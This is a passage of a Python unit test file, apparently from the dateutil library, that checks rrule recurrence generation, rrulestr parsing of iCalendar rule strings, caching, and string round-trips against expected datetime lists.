datetime(1998, 1, 1, 0, 0, 2)]) def testSecondlyByMonthAndMonthDayAndWeekDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0, 0), datetime(1998, 1, 1, 0, 0, 1), datetime(1998, 1, 1, 0, 0, 2)]) def testSecondlyByYearDay(self): self.assertEqual(list(rrule(SECONDLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 0, 0, 0), datetime(1997, 12, 31, 0, 0, 1), datetime(1997, 12, 31, 0, 0, 2), datetime(1997, 12, 31, 0, 0, 3)]) def testSecondlyByYearDayNeg(self): self.assertEqual(list(rrule(SECONDLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 0, 0, 0), datetime(1997, 12, 31, 0, 0, 1), datetime(1997, 12, 31, 0, 0, 2), datetime(1997, 12, 31, 0, 0, 3)]) def testSecondlyByMonthAndYearDay(self): self.assertEqual(list(rrule(SECONDLY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 0, 0, 0), datetime(1998, 4, 10, 0, 0, 1), datetime(1998, 4, 10, 0, 0, 2), datetime(1998, 4, 10, 0, 0, 3)]) def testSecondlyByMonthAndYearDayNeg(self): self.assertEqual(list(rrule(SECONDLY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 0, 0, 0), datetime(1998, 4, 10, 0, 0, 1), datetime(1998, 4, 10, 0, 0, 2), datetime(1998, 4, 10, 0, 0, 3)]) def testSecondlyByWeekNo(self): self.assertEqual(list(rrule(SECONDLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 5, 11, 0, 0, 0), datetime(1998, 5, 11, 0, 0, 1), datetime(1998, 5, 11, 0, 0, 2)]) def testSecondlyByWeekNoAndWeekDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 29, 0, 0, 0), datetime(1997, 12, 29, 0, 0, 1), datetime(1997, 12, 29, 0, 0, 2)]) def testSecondlyByWeekNoAndWeekDayLarge(self): self.assertEqual(list(rrule(SECONDLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 0, 0, 0), datetime(1997, 12, 28, 0, 0, 1), datetime(1997, 12, 28, 0, 0, 2)]) def testSecondlyByWeekNoAndWeekDayLast(self): self.assertEqual(list(rrule(SECONDLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 0, 0, 0), datetime(1997, 12, 28, 0, 0, 1), datetime(1997, 12, 28, 0, 0, 2)]) def testSecondlyByWeekNoAndWeekDay53(self): self.assertEqual(list(rrule(SECONDLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 12, 28, 0, 0, 0), datetime(1998, 12, 28, 0, 0, 1), datetime(1998, 12, 28, 0, 0, 2)]) def testSecondlyByEaster(self): self.assertEqual(list(rrule(SECONDLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 12, 0, 0, 0), datetime(1998, 4, 12, 0, 0, 1), datetime(1998, 4, 12, 0, 0, 2)]) def testSecondlyByEasterPos(self): self.assertEqual(list(rrule(SECONDLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 13, 0, 0, 0), datetime(1998, 4, 13, 0, 0, 1), datetime(1998, 4, 13, 0, 0, 2)]) def testSecondlyByEasterNeg(self): self.assertEqual(list(rrule(SECONDLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 11, 0, 0, 0), datetime(1998, 4, 11, 0, 0, 1), datetime(1998, 4, 11, 0, 0, 2)]) def testSecondlyByHour(self): self.assertEqual(list(rrule(SECONDLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0, 0), datetime(1997, 9, 2, 18, 0, 1), datetime(1997, 9, 2, 18, 0, 2)]) def testSecondlyByMinute(self): self.assertEqual(list(rrule(SECONDLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6, 0), datetime(1997, 9, 2, 9, 6, 1), datetime(1997, 9, 2, 9, 6, 2)]) def testSecondlyBySecond(self): self.assertEqual(list(rrule(SECONDLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 6), datetime(1997, 9, 2, 9, 0, 18), datetime(1997, 9, 2, 9, 1, 6)]) def testSecondlyByHourAndMinute(self): self.assertEqual(list(rrule(SECONDLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6, 0), datetime(1997, 9, 2, 18, 6, 1), datetime(1997, 9, 2, 18, 6, 2)]) def testSecondlyByHourAndSecond(self): self.assertEqual(list(rrule(SECONDLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0, 6), datetime(1997, 9, 2, 18, 0, 18), datetime(1997, 9, 2, 18, 1, 6)]) def testSecondlyByMinuteAndSecond(self): self.assertEqual(list(rrule(SECONDLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6, 6), datetime(1997, 9, 2, 9, 6, 18), datetime(1997, 9, 2, 9, 18, 6)]) def testSecondlyByHourAndMinuteAndSecond(self): self.assertEqual(list(rrule(SECONDLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6, 6), datetime(1997, 9, 2, 18, 6, 18), datetime(1997, 9, 2, 18, 18, 6)]) def testSecondlyByHourAndMinuteAndSecondBug(self): # This explores a bug found by Mathieu Bridon. self.assertEqual(list(rrule(SECONDLY, count=3, bysecond=(0,), byminute=(1,), dtstart=datetime(2010, 3, 22, 12, 1))), [datetime(2010, 3, 22, 12, 1), datetime(2010, 3, 22, 13, 1), datetime(2010, 3, 22, 14, 1)]) def testLongIntegers(self): if not PY3: # There is no longs in python3 self.assertEqual(list(rrule(MINUTELY, count=long(2), interval=long(2), bymonth=long(2), byweekday=long(3), byhour=long(6), byminute=long(6), bysecond=long(6), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 2, 5, 6, 6, 6), datetime(1998, 2, 12, 6, 6, 6)]) self.assertEqual(list(rrule(YEARLY, count=long(2), bymonthday=long(5), byweekno=long(2), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 5, 9, 0), datetime(2004, 1, 5, 9, 0)]) def testHourlyBadRRule(self): """ When `byhour` is specified with `freq=HOURLY`, there are certain combinations of `dtstart` and `byhour` which result in an rrule with no valid values. See https://github.com/dateutil/dateutil/issues/4 """ self.assertRaises(ValueError, rrule, HOURLY, **dict(interval=4, byhour=(7, 11, 15, 19), dtstart=datetime(1997, 9, 2, 9, 0))) def testMinutelyBadRRule(self): """ See :func:`testHourlyBadRRule` for details. """ self.assertRaises(ValueError, rrule, MINUTELY, **dict(interval=12, byminute=(10, 11, 25, 39, 50), dtstart=datetime(1997, 9, 2, 9, 0))) def testSecondlyBadRRule(self): """ See :func:`testHourlyBadRRule` for details. """ self.assertRaises(ValueError, rrule, SECONDLY, **dict(interval=10, bysecond=(2, 15, 37, 42, 59), dtstart=datetime(1997, 9, 2, 9, 0))) def testMinutelyBadComboRRule(self): """ Certain values of :param:`interval` in :class:`rrule`, when combined with certain values of :param:`byhour` create rules which apply to no valid dates. The library should detect this case in the iterator and raise a :exception:`ValueError`. """ # In Python 2.7 you can use a context manager for this. def make_bad_rrule(): list(rrule(MINUTELY, interval=120, byhour=(10, 12, 14, 16), count=2, dtstart=datetime(1997, 9, 2, 9, 0))) self.assertRaises(ValueError, make_bad_rrule) def testSecondlyBadComboRRule(self): """ See :func:`testMinutelyBadComboRRule' for details. """ # In Python 2.7 you can use a context manager for this. def make_bad_minute_rrule(): list(rrule(SECONDLY, interval=360, byminute=(10, 28, 49), count=4, dtstart=datetime(1997, 9, 2, 9, 0))) def make_bad_hour_rrule(): list(rrule(SECONDLY, interval=43200, byhour=(2, 10, 18, 23), count=4, dtstart=datetime(1997, 9, 2, 9, 0))) self.assertRaises(ValueError, make_bad_minute_rrule) self.assertRaises(ValueError, make_bad_hour_rrule) def testBadUntilCountRRule(self): """ See rfc-5545 3.3.10 - This checks for the deprecation warning, and will eventually check for an error. """ with self.assertWarns(DeprecationWarning): rrule(DAILY, dtstart=datetime(1997, 9, 2, 9, 0), count=3, until=datetime(1997, 9, 4, 9, 0)) def testUntilNotMatching(self): self.assertEqual(list(rrule(DAILY, dtstart=datetime(1997, 9, 2, 9, 0), until=datetime(1997, 9, 5, 8, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0)]) def testUntilMatching(self): self.assertEqual(list(rrule(DAILY, dtstart=datetime(1997, 9, 2, 9, 0), until=datetime(1997, 9, 4, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0)]) def testUntilSingle(self): self.assertEqual(list(rrule(DAILY, dtstart=datetime(1997, 9, 2, 9, 0), until=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0)]) def testUntilEmpty(self): self.assertEqual(list(rrule(DAILY, dtstart=datetime(1997, 9, 2, 9, 0), until=datetime(1997, 9, 1, 9, 0))), []) def testUntilWithDate(self): self.assertEqual(list(rrule(DAILY, dtstart=datetime(1997, 9, 2, 9, 0), until=date(1997, 9, 5))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0)]) def testWkStIntervalMO(self): self.assertEqual(list(rrule(WEEKLY, count=3, interval=2, byweekday=(TU, SU), wkst=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 7, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testWkStIntervalSU(self): self.assertEqual(list(rrule(WEEKLY, count=3, interval=2, byweekday=(TU, SU), wkst=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 14, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testDTStartIsDate(self): self.assertEqual(list(rrule(DAILY, count=3, dtstart=date(1997, 9, 2))), [datetime(1997, 9, 2, 0, 0), datetime(1997, 9, 3, 0, 0), datetime(1997, 9, 4, 0, 0)]) def testDTStartWithMicroseconds(self): self.assertEqual(list(rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0, 0, 500000))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0)]) def testMaxYear(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonth=2, bymonthday=31, dtstart=datetime(9997, 9, 2, 9, 0, 0))), []) def testGetItem(self): self.assertEqual(rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))[0], datetime(1997, 9, 2, 9, 0)) def testGetItemNeg(self): self.assertEqual(rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))[-1], datetime(1997, 9, 4, 9, 0)) def testGetItemSlice(self): self.assertEqual(rrule(DAILY, # count=3, dtstart=datetime(1997, 9, 2, 9, 0))[1:2], [datetime(1997, 9, 3, 9, 0)]) def testGetItemSliceEmpty(self): self.assertEqual(rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))[:], [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0)]) def testGetItemSliceStep(self): self.assertEqual(rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))[::-2], [datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 2, 9, 0)]) def testCount(self): self.assertEqual(rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0)).count(), 3) def testCountZero(self): self.assertEqual(rrule(YEARLY, count=0, dtstart=datetime(1997, 9, 2, 9, 0)).count(), 0) def testContains(self): rr = rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0)) self.assertEqual(datetime(1997, 9, 3, 9, 0) in rr, True) def testContainsNot(self): rr = rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0)) self.assertEqual(datetime(1997, 9, 3, 9, 0) not in rr, False) def testBefore(self): self.assertEqual(rrule(DAILY, # count=5 dtstart=datetime(1997, 9, 2, 9, 0)).before(datetime(1997, 9, 5, 9, 0)), datetime(1997, 9, 4, 9, 0)) def testBeforeInc(self): self.assertEqual(rrule(DAILY, #count=5, dtstart=datetime(1997, 9, 2, 9, 0)) .before(datetime(1997, 9, 5, 9, 0), inc=True), datetime(1997, 9, 5, 9, 0)) def testAfter(self): self.assertEqual(rrule(DAILY, #count=5, dtstart=datetime(1997, 9, 2, 9, 0)) .after(datetime(1997, 9, 4, 9, 0)), datetime(1997, 9, 5, 9, 0)) def testAfterInc(self): self.assertEqual(rrule(DAILY, #count=5, dtstart=datetime(1997, 9, 2, 9, 0)) .after(datetime(1997, 9, 4, 9, 0), inc=True), datetime(1997, 9, 4, 9, 0)) def testXAfter(self): self.assertEqual(list(rrule(DAILY, dtstart=datetime(1997, 9, 2, 9, 0)) .xafter(datetime(1997, 9, 8, 9, 0), count=12)), [datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 10, 9, 0), datetime(1997, 9, 11, 9, 0), datetime(1997, 9, 12, 9, 0), datetime(1997, 9, 13, 9, 0), datetime(1997, 9, 14, 9, 0), datetime(1997, 9, 15, 9, 0), datetime(1997, 9, 16, 9, 0), datetime(1997, 9, 17, 9, 0), datetime(1997, 9, 18, 9, 0), datetime(1997, 9, 19, 9, 0), datetime(1997, 9, 20, 9, 0)]) def testXAfterInc(self): self.assertEqual(list(rrule(DAILY, dtstart=datetime(1997, 9, 2, 9, 0)) .xafter(datetime(1997, 9, 8, 9, 0), count=12, inc=True)), [datetime(1997, 9, 8, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 10, 9, 0), datetime(1997, 9, 11, 9, 0), datetime(1997, 9, 12, 9, 0), datetime(1997, 9, 13, 9, 0), datetime(1997, 9, 14, 9, 0), datetime(1997, 9, 15, 9, 0), datetime(1997, 9, 16, 9, 0), datetime(1997, 9, 17, 9, 0), datetime(1997, 9, 18, 9, 0), datetime(1997, 9, 19, 9, 0)]) def testBetween(self): self.assertEqual(rrule(DAILY, #count=5, dtstart=datetime(1997, 9, 2, 9, 0)) .between(datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 6, 9, 0)), [datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 5, 9, 0)]) def testBetweenInc(self): self.assertEqual(rrule(DAILY, #count=5, dtstart=datetime(1997, 9, 2, 9, 0)) .between(datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 6, 9, 0), inc=True), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 5, 9, 0), datetime(1997, 9, 6, 9, 0)]) def testCachePre(self): rr = rrule(DAILY, count=15, cache=True, dtstart=datetime(1997, 9, 2, 9, 0)) self.assertEqual(list(rr), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 5, 9, 0), datetime(1997, 9, 6, 9, 0), datetime(1997, 9, 7, 9, 0), datetime(1997, 9, 8, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 10, 9, 0), datetime(1997, 9, 11, 9, 0), datetime(1997, 9, 12, 9, 0), datetime(1997, 9, 13, 9, 0), datetime(1997, 9, 14, 9, 0), datetime(1997, 9, 15, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testCachePost(self): rr = rrule(DAILY, count=15, cache=True, dtstart=datetime(1997, 9, 2, 9, 0)) for x in rr: pass self.assertEqual(list(rr), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 5, 9, 0), datetime(1997, 9, 6, 9, 0), datetime(1997, 9, 7, 9, 0), datetime(1997, 9, 8, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 10, 9, 0), datetime(1997, 9, 11, 9, 0), datetime(1997, 9, 12, 9, 0), datetime(1997, 9, 13, 9, 0), datetime(1997, 9, 14, 9, 0), datetime(1997, 9, 15, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testCachePostInternal(self): rr = rrule(DAILY, count=15, cache=True, dtstart=datetime(1997, 9, 2, 9, 0)) for x in rr: pass self.assertEqual(rr._cache, [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 5, 9, 0), datetime(1997, 9, 6, 9, 0), datetime(1997, 9, 7, 9, 0), datetime(1997, 9, 8, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 10, 9, 0), datetime(1997, 9, 11, 9, 0), datetime(1997, 9, 12, 9, 0), datetime(1997, 9, 13, 9, 0), datetime(1997, 9, 14, 9, 0), datetime(1997, 9, 15, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testCachePreContains(self): rr = rrule(DAILY, count=3, cache=True, dtstart=datetime(1997, 9, 2, 9, 0)) self.assertEqual(datetime(1997, 9, 3, 9, 0) in rr, True) def testCachePostContains(self): rr = rrule(DAILY, count=3, cache=True, dtstart=datetime(1997, 9, 2, 9, 0)) for x in rr: pass self.assertEqual(datetime(1997, 9, 3, 9, 0) in rr, True) def testStr(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=3\n" )), [datetime(1997, 9, 2, 9, 0), datetime(1998, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0)]) def testStrType(self): self.assertEqual(isinstance(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=3\n" ), rrule), True) def testStrForceSetType(self): self.assertEqual(isinstance(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=3\n" , forceset=True), rruleset), True) def testStrSetType(self): self.assertEqual(isinstance(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=2;BYDAY=TU\n" "RRULE:FREQ=YEARLY;COUNT=1;BYDAY=TH\n" ), rruleset), True) def testStrCase(self): self.assertEqual(list(rrulestr( "dtstart:19970902T090000\n" "rrule:freq=yearly;count=3\n" )), [datetime(1997, 9, 2, 9, 0), datetime(1998, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0)]) def testStrSpaces(self): self.assertEqual(list(rrulestr( " DTSTART:19970902T090000 " " RRULE:FREQ=YEARLY;COUNT=3 " )), [datetime(1997, 9, 2, 9, 0), datetime(1998, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0)]) def testStrSpacesAndLines(self): self.assertEqual(list(rrulestr( " DTSTART:19970902T090000 \n" " \n" " RRULE:FREQ=YEARLY;COUNT=3 \n" )), [datetime(1997, 9, 2, 9, 0), datetime(1998, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0)]) def testStrNoDTStart(self): self.assertEqual(list(rrulestr( "RRULE:FREQ=YEARLY;COUNT=3\n" , dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1998, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0)]) def testStrValueOnly(self): self.assertEqual(list(rrulestr( "FREQ=YEARLY;COUNT=3\n" , dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1998, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0)]) def testStrUnfold(self): self.assertEqual(list(rrulestr( "FREQ=YEA\n RLY;COUNT=3\n", unfold=True, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1998, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0)]) def testStrSet(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=2;BYDAY=TU\n" "RRULE:FREQ=YEARLY;COUNT=1;BYDAY=TH\n" )), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testStrSetDate(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=1;BYDAY=TU\n" "RDATE:19970904T090000\n" "RDATE:19970909T090000\n" )), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testStrSetExRule(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=6;BYDAY=TU,TH\n" "EXRULE:FREQ=YEARLY;COUNT=3;BYDAY=TH\n" )), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testStrSetExDate(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=6;BYDAY=TU,TH\n" "EXDATE:19970904T090000\n" "EXDATE:19970911T090000\n" "EXDATE:19970918T090000\n" )), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testStrSetDateAndExDate(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RDATE:19970902T090000\n" "RDATE:19970904T090000\n" "RDATE:19970909T090000\n" "RDATE:19970911T090000\n" "RDATE:19970916T090000\n" "RDATE:19970918T090000\n" "EXDATE:19970904T090000\n" "EXDATE:19970911T090000\n" "EXDATE:19970918T090000\n" )), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testStrSetDateAndExRule(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RDATE:19970902T090000\n" "RDATE:19970904T090000\n" "RDATE:19970909T090000\n" "RDATE:19970911T090000\n" "RDATE:19970916T090000\n" "RDATE:19970918T090000\n" "EXRULE:FREQ=YEARLY;COUNT=3;BYDAY=TH\n" )), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testStrKeywords(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=3;INTERVAL=3;" "BYMONTH=3;BYWEEKDAY=TH;BYMONTHDAY=3;" "BYHOUR=3;BYMINUTE=3;BYSECOND=3\n" )), [datetime(2033, 3, 3, 3, 3, 3), datetime(2039, 3, 3, 3, 3, 3), datetime(2072, 3, 3, 3, 3, 3)]) def testStrNWeekDay(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=3;BYDAY=1TU,-1TH\n" )), [datetime(1997, 12, 25, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 12, 31, 9, 0)]) def testStrUntil(self): self.assertEqual(list(rrulestr( "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;" "UNTIL=19990101T000000;BYDAY=1TU,-1TH\n" )), [datetime(1997, 12, 25, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 12, 31, 9, 0)]) def testStrValueDatetime(self): rr = rrulestr("DTSTART;VALUE=DATE-TIME:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=2") self.assertEqual(list(rr), [datetime(1997, 9, 2, 9, 0, 0), datetime(1998, 9, 2, 9, 0, 0)]) def testStrValueDate(self): rr = rrulestr("DTSTART;VALUE=DATE:19970902\n" "RRULE:FREQ=YEARLY;COUNT=2") self.assertEqual(list(rr), [datetime(1997, 9, 2, 0, 0, 0), datetime(1998, 9, 2, 0, 0, 0)]) def testStrInvalidUntil(self): with self.assertRaises(ValueError): list(rrulestr("DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;" "UNTIL=TheCowsComeHome;BYDAY=1TU,-1TH\n")) def testStrEmptyByDay(self): with self.assertRaises(ValueError): list(rrulestr("DTSTART:19970902T090000\n" "FREQ=WEEKLY;" "BYDAY=;" # This part is invalid "WKST=SU")) def testStrInvalidByDay(self): with self.assertRaises(ValueError): list(rrulestr("DTSTART:19970902T090000\n" "FREQ=WEEKLY;" "BYDAY=-1OK;" # This part is invalid "WKST=SU")) def testBadBySetPos(self): self.assertRaises(ValueError, rrule, MONTHLY, count=1, bysetpos=0, dtstart=datetime(1997, 9, 2, 9, 0)) def testBadBySetPosMany(self): self.assertRaises(ValueError, rrule, MONTHLY, count=1, bysetpos=(-1, 0, 1), dtstart=datetime(1997, 9, 2, 9, 0)) # Tests to ensure that str(rrule) works def testToStrYearly(self): rule = rrule(YEARLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0)) self._rrulestr_reverse_test(rule) def testToStrYearlyInterval(self): rule = rrule(YEARLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0)) self._rrulestr_reverse_test(rule) def testToStrYearlyByMonth(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthAndMonthDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByWeekDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByNWeekDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByNWeekDayLarge(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byweekday=(TU(3), TH(-3)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthAndWeekDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthAndNWeekDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthAndNWeekDayLarge(self): # This is interesting because the TH(-3) ends up before # the TU(3). self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonth=(1, 3), byweekday=(TU(3), TH(-3)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthAndMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByYearDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByYearDayNeg(self): self._rrulestr_reverse_test(rrule(YEARLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthAndYearDay(self): self._rrulestr_reverse_test(rrule(YEARLY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMonthAndYearDayNeg(self): self._rrulestr_reverse_test(rrule(YEARLY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByWeekNo(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByWeekNoAndWeekDay(self): # That's a nice one. The first days of week number one # may be in the last year. self._rrulestr_reverse_test(rrule(YEARLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByWeekNoAndWeekDayLarge(self): # Another nice test. The last days of week number 52/53 # may be in the next year. self._rrulestr_reverse_test(rrule(YEARLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByWeekNoAndWeekDayLast(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 